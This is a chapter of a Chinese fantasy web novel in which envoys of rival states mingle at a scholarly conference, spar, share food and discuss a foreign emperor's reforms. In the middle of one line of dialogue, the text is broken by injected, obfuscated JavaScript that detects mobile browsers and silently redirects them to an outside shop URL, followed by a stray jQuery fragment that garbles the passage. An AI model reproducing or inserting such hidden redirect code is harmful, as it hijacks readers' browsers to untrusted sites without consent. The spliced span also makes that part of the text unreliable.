翌日清晨,清谈会正式开始。
前三天是完全自由的纯研讨,九州清晏官方一不设比试,二不排座次。
各国使团按自己的节奏自由交流,说白了就是先互动起来。
聊什么不重要,重要的是氛围。
东尧三人用了早饭,往山上研讨殿走。
孟萌还在打哈欠,姜绛倒是精神抖擞,面纱戴得端端正正,眼睛倒是滴溜溜的,带着好奇四处打量。
研讨殿内小巧精致,四壁是落地书架,中间散放着十几张矮案,殿内已经有人了,站着坐着,神情放松,闲话的不知是学术还是家常。
南瀛的三位紫裳女子靠门,面纱遮了大半张脸,小声聊着什么,还边说边笑。与之对应的是三个站在中央的北戎壮汉,为首的络腮胡子正用匕首削着块木头。
乔孟二人落座东南,姜绛犹豫一番,选择跪坐在二人身后。
孟萌看见状有些牙疼:
“……你别跪了,腿麻。”
姜绛拒绝了她的好意:
“不用不用,侍女哪有坐着的。”
“你这侍女,家底比主子还硬――”
“咳。”
乔师微轻咳一声,两人同时闭嘴。
“姜绛……不,玉芝,你起来吧。没人注意的。”
“哦。”
姜绛听了乔师微的话,还挤了孟萌一眼。
孟萌:“……”
西永的人入殿。
还是老顺序,褚文翼走在最前,身后的女子神色淡然,陆明提着那口木箱走在最后。
三人选了靠西北的一张桌,褚文翼一屁股坐下,还把脚搭在旁边的凳子上。陆明坐也不是,只能站着。
这还没完。凳子都没捂热,褚文翼又开始找碴:
“陆明,你那破机器昨晚叮叮当当敲了大半夜,吵得人睡不着觉。怎么,怕大后天拿不出手?”
陆明低眉顺眼:
“……对不住。昨晚在调试,声音大了些。”
“调试?就你那堆破铜烂铁,调了也白调。”
“文翼。”
那女子从后面走上来,蹙眉看了他一眼。
“大清早的,少说两句。”
“郑鸳姐,我又没说错——”
“你声音太大了。”
郑鸳语气不重,但眼神里有股冷意。
“……这是清谈会,不是褚家也不是郑家。你要吵架,回西永去。”
褚文翼吃了瘪,但也没再追究,讪讪把脚收回来了。
陆明朝郑鸳投来感激的目光,后者只是颔了颔首。
乔师微抿了口茶,把这场戏也看进去了。
这个叫郑鸳的女子虽说不是带头的,但褚文翼还颇听她的话,甚至恭恭敬敬叫她声“姐”。
是亲姐弟吗?
这关系够微妙,还有点意思。
殿内一开始还有些拘束,四个小团体泾渭分明,到了巳时,终究是好奇心占了上风,所谓的“交流”可算现了苗头。
北戎那边最先坐不住。
络腮胡子盯着孟萌看了老半天,伸了个懒腰,终是忍不住朝她走来:
“喂,东尧那红衣服的丫头,你拿双刀看着倒像难得,敢不敢和我拓跋雄较量一番?”
孟萌正在剥葡萄,见次情形毫不犹豫往嘴里一塞:
“来。”
乔师微皱了皱眉,眼神提醒她:
不能动武。
孟萌咧嘴一笑,拍拍她的肩:
“放心好啦,这又不是西永,小比试而已,不然这一天天也太无聊了。”
两人走到殿中央的空地,没用灵力,纯拼拳脚。
拳拳到肉的闷响在殿里回荡,孟萌身法灵巧,专攻下盘,拓跋雄拳风刚猛好几次差点抓住她衣角,都被堪堪避开。
十几个回合下来,拓跋雄先收了手,喘着粗气大笑:
“好!好身手!你这丫头,来北戎当将军都够格!”
孟萌甩了甩手腕:
“……你们北戎的将军这么好当?”
“不好当。但咱们巴彦可汗惜才,你这样的定能得赏识!”
孟萌摆摆手,置之一笑:
“免了,我是东尧的兵。这光明正大挖墙脚有些不太合适吧。”
“……哈哈,只是一句说笑。小娘子年纪轻轻,身手竟如此了得,佩服,佩服。”
拓跋雄长得五大三粗,心却不坏。
乔师微暗暗点头。
三十年前,北戎爆发了奴隶起义,诛杀了当时的暴君额尔德尼可汗。新一任可汗也是拓跋氏,叫拓跋雷,治理还算严明,对外关系也一改先前扩张之欲,甚至和东尧建了交。
东尧的北境军,最初就是用来抵抗北戎入侵的,后来才兼有防御西永之责。
如今北境军的新兵和北戎宗室友好切磋……
不愧是清谈会。一切皆有可能。
南瀛那边也在笑。
姜绛不知何时被那三个紫衣姑娘拉了去,四人津津有味地交流这两岸的小食和玩法。
“这淮南嘛,还吃的好玩的可多了――荷花酥,豆腐脑――豆腐脑有咸有甜,甜口的嘛只能在宫里见到,牛肉汤也好喝……”
姜绛的面纱不知掉哪儿去了,一张稚气未脱的脸眉飞色舞,还挺可爱。
个头最高的那个姑娘甚至上手捏了捏:
“你这丫头,嘴甜人机灵,怎么只当个侍女?来南瀛,我们苏家收你当徒弟。”
“我……我不能修行。”
姜绛难得结巴了。
“不会修行有什么要紧,你这张嘴就够用了。”
第二个姑娘笑着递了块糕点。
“尝尝,我们南瀛特产凤梨酥,如何?”
姜绛接过来咬了一口,眼睛亮了:
“这馅够新鲜!好吃!”
“这可是我们岛主的手艺……小妹妹,叫姐姐,再给你一块。”
姜绛只犹豫了须臾,最终在美食面前屈服了:
“……姐姐。”
三个南瀛姑娘笑得花枝乱颤。
乔师微旁观着,心里十分微妙。
姜绛这丫头……当真在哪儿都受欢迎。
南瀛是个岛国,和东尧关系向来不错。要是她们知道这可是东尧的盛安帝姬……
她扯了扯嘴角,又放下了。
算了。姜绛还乐在其中呢。
“乔大人怎么一个人坐着?”
江朔端着杯茶,姿态随意,像是路过顺便歇个脚。
“……孟萌在北边打架,姜绛到南边串门。倒是江大人你,如今倒是闲了下来,竟不需要去招待别国使团?”
“都安顿好了,这几天自由研讨,没我什么事,不如找人聊聊。而且说实话,这场合我不太爱应付。”
他把茶杯搁她对面。
“那昨晚你自己跟自己下棋,也是因为不想应付人?”
“一半一半吧。另一半是确实无聊。毕竟清谈会二十年一届,每次前三天都是这样——大家客客气气,说的都是场面话,谁也不肯先露底。”
“那你觉得什么时候才会露底?”
“再过两天,等有人忍不住了。”
他顿了顿,嘴角漾上一丝笑意。
“――或者等乔大人这样的聪明人把别人的底都摸透了,自然就有人坐不住。”
乔师微抬了抬眉毛,不置可否:
“……我看起来像是在摸别人的底?”
“不像。你看起来像在品茶赏景。但越是这样的人,摸的底越深。”
乔师微没有反驳。
她确实在观察。
北戎南瀛实力不强,心思也单纯。
麻烦的是西永。
褚文翼、郑鸳、陆明三人,看起来各有立场。
――也不知昭元帝是怎么凑出这桌的。
“江大人在九州清晏待了这么多年,对西永往届的表现可有耳闻?”
“……听师父说起过前两届。”
江朔垂眸,似是陷入回忆。
“上一次来的是几个老修士,再上一次是几个贵族子弟。今年这阵容倒是新鲜——两个旧贵族,一个平民。这个平民能被塞进去,肯定是他们陛下的手笔。”
“昭元帝此人,你怎么看?”
“……不敢怎么看。此人不良于行,却能坐在轮椅上把西永翻过来,我一个晚辈当然不敢评价。不过有一点,把平民塞进清谈会,有些人心里不痛快,我担心会闹出动静。”
“你是说褚文翼?”
“……也许是,也许不是。当然,更有可能是我想多了。”
“这样的冲突总归是不好。所以监正让我这次来,第一要务不是扬威,是别跟人吵架。”
“那你东尧的标准比我们这儿高。”
江朔笑了一声。
“我们的标准是:能不打起来,就算成功。能好好吃饭,就算圆满。能交上几个朋友——”
他偏头看她,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17735838|208817||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
眼尾还带着笑,但语气放轻了些:
“那就是天大的造化。”
“……那江大人这届清谈会,造化应该不错。毕竟目前为止,还没人打起来。”
“乔大人过誉了,毕竟这才第一天。……等再过两天,我的造化就不一定保得住了。”
正说着,郑鸳从西永那边起身,朝这边走来。
“乔大人。”
郑鸳在她面前站定,微微欠身。
“在下西永国郑鸳,久仰大名,想和您讨教讨教,不知这会可方便?”
乔师微一愣,随即迅速作出回应:
“郑姑娘客气了,请坐。”
郑鸳在乔师微对面坐下,脊背挺直。
她的目光从乔师微脸上移到殿中央孟萌那边,又瞥了眼眼南瀛那边的姜绛,笑得礼貌:
“孟姑娘好身手。拓跋雄在北戎也是一等一的勇士,能在他手下走那么多回合,不容易。”
“她打架从来没输过。”
“她打架不输,您下棋也不输。昨晚乔大人和江朔的棋局,我听人提了。能在江朔手下赢半子,这份棋力放在整个清谈会也是顶尖的。”
“侥幸而已。江大人的棋路太急,我只是等他自己出错。”
“能等到对手出错,本身就是本事。”
江朔在旁边听了会儿,不置可否,然后走开了。
郑鸳和乔师微聊了会儿学术问题,又闲着吹风般吹了东尧西永的一些迥异风俗。
这些话题不痛不痒,只涉及皮毛,既能做到让双方增长见识,又不牵扯到根本上的纷争。
聊了几句,郑鸳扯到了西永的政局。
“说起来,昭元陛下继位这十五年,西永变了不少。从前平民修士连参加清谈会的资格都没有,如今陆明能坐在这里,也是沾了新政的光。不只是修行——那些没有灵脉的普通人,从前只能种地纳粮,现在不一样了。前两年有个发明蒸汽机的平民工匠,陛下亲笔给他写了信。不是批文,是信。”
“……亲笔信?”
乔师微有些意外。
“陛下说,修行者能飞天遁地,但修不了路,开不了渠,本事通天也落不到实处。国家要发展,百姓要温饱,灵力是靠不住的,只能靠这些人的手艺和脑子。”
乔师微没有吭声。
她在东尧长大,对昭元帝萧云耳熟能详的版本无非是:废人一个,杀夫上位,不仁不义不忠。铁腕治国,废祖宗之法,重旁门左道,兴奇技淫巧。
可郑鸳嘴里说的这个昭元帝,和她们在东尧耳熟能详的版本,怎么像两个人?
“……郑姑娘对昭元陛下的政策很了解。”
“家里受了些影响,不得不了解。”
郑鸳语气淡然,好像接下来的话和自己无关。
“褚文翼是我亲弟弟。郑家和褚家从前在西永也算有几分根基,陛下的新政……对我们这样的家族不算友好。”
她顿了顿,又继续:
“不过该认的还是得认。这对大多数西永百姓来说,是好事。”
这话倒是坦荡。
乔师微不由得在心里给她加了一分。
正说着,陆明从西永那边走了过来。
“郑姑娘。那个符文转换的问题,我昨晚回去想了一晚上,有些地方还是不太明白。你这会儿方便吗?”
“……你说。”
陆明从袖子里掏出几张草稿纸,上面密密麻麻画满了符文和推演公式。
郑鸳接过来看了片刻,伸手指着其中一处:
“你灵力回流的参量不错。但蒸汽那边应该是有问题……毕竟这项技术才出来没多久,原理我也谈不上多了解。你应该是哪里算错了,自己回去看看。”
陆明端端正正做了个揖:
“多谢郑姑娘赐教。那我回去重新算一
遍。”
郑鸳嗯了一声,目光投向西北,像是发现了什么,突然起身:
“对不住,我得先走了。北戎那边好像找我那个缺心眼的弟弟有些事,他一个人我不放心。”
“郑姑娘自便。”
乔师微目送她离开,收回目光时不经意间掠过西永那边陆明的座位。
他脚边那口木箱半开着,里面是个造型古怪的金属构件:齿轮咬合齿轮,铜管连着一个小锅炉,锅炉上有灵力符文的刻痕,但符文的走向和传统阵法完全不同。
她心生好奇,走了过去。
“陆兄台,你这箱子里装的是什么?